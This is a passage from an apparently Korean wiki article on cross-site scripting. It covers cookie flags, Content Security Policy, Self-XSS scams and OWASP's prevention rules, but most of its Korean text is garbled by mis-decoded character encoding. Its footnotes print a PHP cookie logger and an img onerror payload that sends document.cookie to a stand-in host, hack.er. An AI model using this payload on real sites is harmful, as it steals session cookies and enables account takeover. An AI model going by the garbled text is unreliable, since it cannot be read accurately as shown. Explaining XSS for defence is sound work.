์ฟ ํค ์์ฑ์ '๋ณด์ ์ฟ ํค'๋ผ๋ ํ๋ผ๋ฏธํฐ๋ฅผ ์ง์ ํ๋ฉด TLS ์์์๋ง ์ฌ์ฉํ๊ฒ ํ ์ ์์ผ๋ฉฐ, 'HTTP ONLY'๋ผ๋ ํ๋ผ๋ฏธํฐ๋ก ์น ๋ธ๋ผ์ฐ์ ์์์๋ง ์ธ ์ ์๊ฒ ํ ์๋ ์๋ค. ๋ฌผ๋ก ์์ ํ ๋ฐฉ์ด๊ฐ๋ฅํ ๊ฑด ์๋๋[12] ์์ ํด๊ฒฐ๋ฒ๊ณผ ๋ณํํ๋ ๊ฒ์ด ์ข๋ค.
4.4. ์ฝํ ์ธ ๋ณด์ ์ ์ฑ (Content Security Policy, CSP) ์ฌ์ฉ[ํธ์ง]
์คํฌ๋ฆฝํธ ์คํ์ ๋ํ ์ ์ฑ
(์กฐ๊ฑด)์ ์ค์ ํด ์ ์ ์๋ ์คํฌ๋ฆฝํธ๊ฐ ์คํ๋๋ ๊ฒ์ ์๋ฐฉํ ์ ์๋ค. ์๋๋ ์ธ๋ถ ์๋ฒ์ ์คํฌ๋ฆฝํธ ํ์ผ์ด script ํ๊ทธ๋ iframe ๋ฑ ์ฌ์ดํธ์ ๋ก๋๊ฐ ๋๋ฉด ์คํฌ๋ฆฝํธ๊ฐ ์คํ๋์ง๋ง, CSP๋ฅผ ์ค์ ํด ์ถ์ฒ๊ฐ ์๊ธฐ ์๋ฒ์ธ ์คํฌ๋ฆฝํธ๋ง ์คํ๋๋๋ก ํ ์ ์๋ค. ๋ฌผ๋ก ์ด๋ ์ด๋๊น์ง๋ ์์ ๋ฐฉ์ด๊ฐ ์๋ ์๋ฐฉ์ ์ฐจ์์ด๋ผ๋ ๊ฒ์ ์์๋ฌ์ผ ํ๋ค.
5. ๊ธฐํ[ํธ์ง]
์ ๋ฐฉ๋ฒ๋ค๊ณผ๋ ๋ณ๊ฐ๋ก ์ผ๋ฐ ์ฌ์ฉ์๊ฐ ์คํฌ๋ฆฝํธ๋ฅผ ์ ์์ง ๋ชปํ๋ ๊ฒ์ ์
์ฉํ์ฌ, ์ฌ์ฉ์๊ฐ ๋ธ๋ผ์ฐ์ ์ฝ์์ ์
์ฑ ์คํฌ๋ฆฝํธ๋ฅผ ์ฝ์
ํด ์คํ๋๋๋ก ์์ด๊ธฐ๋ ํ๋๋ฐ, ์ด๋ฅผ ์ค์ค๋ก ํ๋ XSS๋ผ๋ ๋ป์ Self XSS๋ผ๊ณ ๋ถ๋ฅธ๋ค. ์ด๋ ์ฌ์ฉ์๊ฐ ์ค์ค๋ก ์คํํ ๊ฒ์ด๋๋งํผ ์ ๋ฐฉ์ด ๋ฐฉ๋ฒ์ผ๋ก ๋ง๊ธฐ ์ด๋ ค์ฐ๋, ์ ์์ง ๋ชปํ๋ ์คํฌ๋ฆฝํธ ๋ฑ์ ์ ๋๋ก ์คํํด์๋ ์ ๋๋ค.[13]
OWASP์์ XSS ๊ณต๊ฒฉ์ ๋ฐฉ์งํ๋ 7๊ณ๋ช ์ ๋ฐํํ๊ธฐ๋ ํ๋ค.์ญ์ 0๋ถํฐ ์ธ๋ ๊ณต๋์ด
OWASP์์ XSS ๊ณต๊ฒฉ์ ๋ฐฉ์งํ๋ 7๊ณ๋ช ์ ๋ฐํํ๊ธฐ๋ ํ๋ค.
0. ํ์ฉ๋ ์์น๊ฐ ์๋ ๊ณณ์ ์ ๋ขฐํ ์ ์๋ ๋ฐ์ดํฐ๊ฐ ๋ค์ด๊ฐ๋๊ฒ์ ํ์ฉํ์ง ์๋๋ค.
1. ์ ๋ขฐํ ์ ์๋ ๋ฐ์ดํฐ๋ ๊ฒ์ฆ์ ํ์ฌ๋ผ.
2. HTML ์์ฑ์ ์ ๋ขฐํ ์ ์๋ ๋ฐ์ดํฐ๊ฐ ๋ค์ด๊ฐ ์ ์๋๋ก ํ์ฌ๋ผ.
3. ์๋ฐ์คํฌ๋ฆฝํธ์ ์ ๋ขฐํ ์ ์๋ ๊ฐ์ด ๋ค์ด๊ฐ ์ ์๋๋ก ํ์ฌ๋ผ.
4. CSS์ ๋ชจ๋ ์ ๋ขฐํ ์ ์๋ ๊ฐ์ ๋ํด์ ๊ฒ์ฆํ์ฌ๋ผ.
5. URL ํ๋ผ๋ฏธํฐ์ ์ ๋ขฐํ ์ ์๋ ๊ฐ์ด ์๋์ง ๊ฒ์ฆํ์ฌ๋ผ.
6. HTML ์ฝ๋๋ฅผ ์ ์ฒด์ ์ผ๋ก ํ๋ฒ ๋ ๊ฒ์ฆํ์ฌ๋ผ.
6. ๊ด๋ จ ๋ฌธ์[ํธ์ง]
[1] ์ค์ด๋ฉด CSS์ธ๋ฐ Cascading Style Sheet์ ํผ๋์ด ์ฌ ์ ์์ด์ XSS๋ผ๊ณ ๋ถ๋ฅด๋ ๊ฒ์ด๋ค.
[2] ์ฌ์ค XSS์ SQL Injection์ ๊ทธ ๊ฒฝ๊ณ๊ฐ ๋ชจํธํ๋ค. XSS๊ฐ javascript๋ฅผ ์ด์ฉํด์ ๊ณต๊ฒฉํ๋ค๋ฉด SQL Injection์ ํ๋ผ๋ฏธํฐ๋ฅผ ํตํด ์๋ชป๋ Query๊ฐ ์คํํ๊ฒ ํ๋ ์ ๋์ ์ฐจ์ด๊ณ ๋์ ๊ณต๊ฒฉ๋ฐฉ์์ด๋(url์ ์กฐ์ํด์ sql ์ธ์ ์
ํ๋ ๊ฒฝ์ฐ) ๋ฐฉ์ด๋ฐฉ์์ด๋ ์๋นํ ์ ์ฌํ๋ค.
[3] ์ฌ์ฉ์ ์
์ฅ์์๋ ์ฝ์
๋ ์ฝ๋๊ฐ ์๋๋ถํฐ ์กด์ฌํ๋ ์ฝ๋์ธ์ง ์๋์ง ๋ถ๊ฐ ํ ์ ์๋ค.
[4] ์์์์๋ Cookie.php๋ผ๋ ์ด๋ฆ์ PHP ํ์ผ์ ์์ฑํ๋ค. ์ฝ๋ -
<? fwrite(fopen("XSS.txt","a+"), $_GET['cookie']); ?>[5] ์์์์๋ hack.er๋ผ๋ ์ด๋ฆ์ ์ฌ์ดํธ๋ฅผ ๊ธฐ์ค์ผ๋ก ํ๋ค. ์ฝ๋ -
<img src="#" onerror="location.href('http://hack.er/Cookie.php?cookie=' + document.cookie);">[6] ๋ชจ๋ฅด๋ ๋ถ๋ค์ ์ํ์ฌ ์ค๋ช
ํด ์ฃผ์๋ฉด ํธ์์ ๋ณด๋ฉด ๊ฐ์ ๋ก ์ด ๊ฒ์๋ฌผ์ ๋ฆฌํธ์ํ๊ณ ๊ทธ๊ฑธ ์๋ฆฌ๋ ๊ฒฝ๊ณ ์ฐฝ์ ๋ฐ์ฐ๋ ์ฝ๋๋ก, ์๋ํ์๋ค. ์ดํ ํจ์น๋์ด ๋งํ๋ค.
[7] ๊ธฐ์กด์๋ JSFuck์ด ์ฌ์ฉ๋์์ง๋ง, ์ ์์์ ๋ง๋ก, ์ค๋ฅ๊ฐ ๋์ ๋์ด์ ์ฌ์ฉํ์ง ๋ชปํ๋ค๊ณ ํ๋ค.
[8] ํ์ง๋ง, ์ฌ๋์ ๋ฐ๋ผ์ ์ ๊ท์์ ์ฌ์ฉํ๋ ๊ฒ์ด ๊ฐ๋ฐํ๊ธฐ ๋ ํธํ ๊ฒฝ์ฐ๊ฐ ์๋ค. ํ์ง๋ง, ๊ทธ๋ ๋ค๊ณ ํจ๋ถ๋ก ๋์ถฉ ์ ๊ท์์ ๋ง๋ค์ด์ ์ฌ์ฉํ๋ค๊ฐ ๋ผ์๊น์ง ํธ๋ฆฌ๋ ์๊ฐ ์๋ค.
[9] ์ค๋ น ๊ทธ๋ ๋ค ํ๋๋ผ๋ ๋นํ์ค ํ๊ทธ๊ฐ ์์ด์ ์น ๋ธ๋ผ์ฐ์ ๋ง๋ค ํธํ์ด ์ ๋ ์๋ ์๋ค.
[10] ์ฃผ๋ก <์ >๋ฅผ ๋์ฒดํ์ฌ์,
[์ ]๋ฅผ ์ฌ์ฉํ์ฌ ๋ง๋ ๋ค.[11] ์ํค๋ฐฑ๊ณผ, ๋๋ฌด์ํค์ ๊ฐ์ ์ํค๋ค๋ ๋ชจ๋ BBCode๋ฅผ ์ฌ์ฉํ๋ค๊ณ ํ ์ ์๋ค.
[12] ํนํ Let's Encrypt ๊ฐ์ TLS ์ธ์ฆ์ ์์ฑ ์๋ฃจ์
์ผ๋ก ๊ณต๊ฒฉ์๊ฐ ์ฐธ ์ฝ๊ฒ TLS ํ๊ฒฝ์ ๊ตฌ์ถํ ์ ์๋ค.
[13] ์ด ๋๋ฌธ์ ํ์ด์ดํญ์ค ๋ฑ ์ผ๋ถ ๋ธ๋ผ์ฐ์ ๋ ์ฝ์์ ๋ถ์ฌ๋ฃ๊ธฐ ์ ๊ฒฝ๊ณ ํ ํ์ธ์ ๊ฑฐ์ณ์ผ ๋ถ์ฌ ๋ฃ์ ์ ์๋ค. ๋ ํฌ๋กฌ์ ๊ฒฝ์ฐ
javascript:๋ก ์์ํ๋ ๋ฌธ์์ด์ ๋ถ์ฌ๋ฃ์ ๊ฒฝ์ฐ ๋งจ ์์ javascript:๊ฐ ๋น ์ง๋ค. ๊ทธ๋์ ์ผ๋ถ ์ฌ์ดํธ์ ๊ฒฝ์ฐ ์คํฌ๋ฆฝํธ ๋ณต์ฌ ๋ฒํผ์ ๋๋ฅด๋ฉด avascript:๋ก ์์ํ๋ ๋ฌธ์์ด์ด ๋ณต์ฌ๋๊ฒ ์ค์ ํ๊ณ j์๋ฅผ ์ง์ ์
๋ ฅํ ํ ๋ถ์ฌ๋ฃ์ผ๋ผ๋ ์ค๋ช
์ ํ๊ธฐ๋ ํ๋ค.